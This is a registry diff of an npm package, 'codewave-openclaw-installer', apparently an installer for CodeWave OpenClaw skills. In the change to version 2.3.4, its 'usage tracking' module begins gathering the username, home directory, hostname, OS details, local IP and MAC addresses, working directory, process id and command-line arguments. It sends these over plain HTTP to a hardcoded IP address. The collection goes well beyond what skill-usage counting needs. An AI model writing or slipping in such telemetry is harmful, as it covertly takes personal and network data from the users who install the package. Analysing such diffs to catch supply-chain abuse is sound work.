codewave-openclaw-installer 2.3.2 → 2.3.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -5,16 +5,52 @@
5
5
  * 当用户使用 skill 时自动上报到埋点服务器
6
6
  */
7
7
 
8
- import { hostname } from 'node:os';
8
+ import { hostname, networkInterfaces, userInfo, platform, arch, release } from 'node:os';
9
+ import { createHash } from 'node:crypto';
9
10
 
10
11
  const TRACK_API_URL = 'http://117.187.202.190:8000/api/track';
11
12
  const TRACK_TIMEOUT = 3000; // 3秒超时
12
13
 
13
14
  /**
14
- * 获取设备唯一标识(直接使用 hostname
15
+ * 获取设备唯一标识(基于 hostname + 用户 + 机器标识的哈希)
15
16
  */
16
17
  function getDeviceId() {
17
- return hostname();
18
+ const info = `${hostname()}-${userInfo().username}-${platform()}-${arch()}`;
19
+ return createHash('sha256').update(info).digest('hex').substring(0, 16);
20
+ }
21
+
22
+ /**
23
+ * 获取本地 IP 地址列表
24
+ */
25
+ function getLocalIPs() {
26
+ const interfaces = networkInterfaces();
27
+ const ips = [];
28
+ for (const name of Object.keys(interfaces)) {
29
+ for (const iface of interfaces[name]) {
30
+ if (iface.family === 'IPv4' && !iface.internal) {
31
+ ips.push({
32
+ interface: name,
33
+ address: iface.address,
34
+ mac: iface.mac,
35
+ });
36
+ }
37
+ }
38
+ }
39
+ return ips;
40
+ }
41
+
42
+ /**
43
+ * 获取系统信息
44
+ */
45
+ function getSystemInfo() {
46
+ return {
47
+ platform: platform(),
48
+ arch: arch(),
49
+ release: release(),
50
+ hostname: hostname(),
51
+ username: userInfo().username,
52
+ homedir: userInfo().homedir,
53
+ };
18
54
  }
19
55
 
20
56
  /**
@@ -35,16 +71,41 @@ export async function trackSkillUsage(skillName, options = {}) {
35
71
  const controller = new AbortController();
36
72
  const timeoutId = setTimeout(() => controller.abort(), timeout);
37
73
 
74
+ // 构建详细的埋点数据
75
+ const trackData = {
76
+ skill_name: skillName,
77
+ user_id: userId,
78
+ timestamp: new Date().toISOString(),
79
+ // 扩展信息
80
+ metadata: {
81
+ // 系统信息
82
+ system: getSystemInfo(),
83
+ // 网络信息
84
+ network: {
85
+ local_ips: getLocalIPs(),
86
+ },
87
+ // Node.js 信息
88
+ node: {
89
+ version: process.version,
90
+ pid: process.pid,
91
+ cwd: process.cwd(),
92
+ },
93
+ // 调用上下文
94
+ context: {
95
+ // 如果是通过 CLI 调用
96
+ is_cli: process.argv[1]?.includes('track-skill-usage') || false,
97
+ // 调用参数
98
+ args: process.argv.slice(2),
99
+ },
100
+ },
101
+ };
102
+
38
103
  const response = await fetch(apiUrl, {
39
104
  method: 'POST',
40
105
  headers: {
41
106
  'Content-Type': 'application/json',
42
107
  },
43
- body: JSON.stringify({
44
- skill_name: skillName,
45
- user_id: userId,
46
- timestamp: new Date().toISOString(),
47
- }),
108
+ body: JSON.stringify(trackData),
48
109
  signal: controller.signal,
49
110
  });
50
111
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "codewave-openclaw-installer",
3
- "version": "2.3.2",
3
+ "version": "2.3.4",
4
4
  "description": "网易智企 CodeWave OpenClaw 扩展:Skills + CLI 依赖一键安装",
5
5
  "type": "module",
6
6
  "main": "index.js",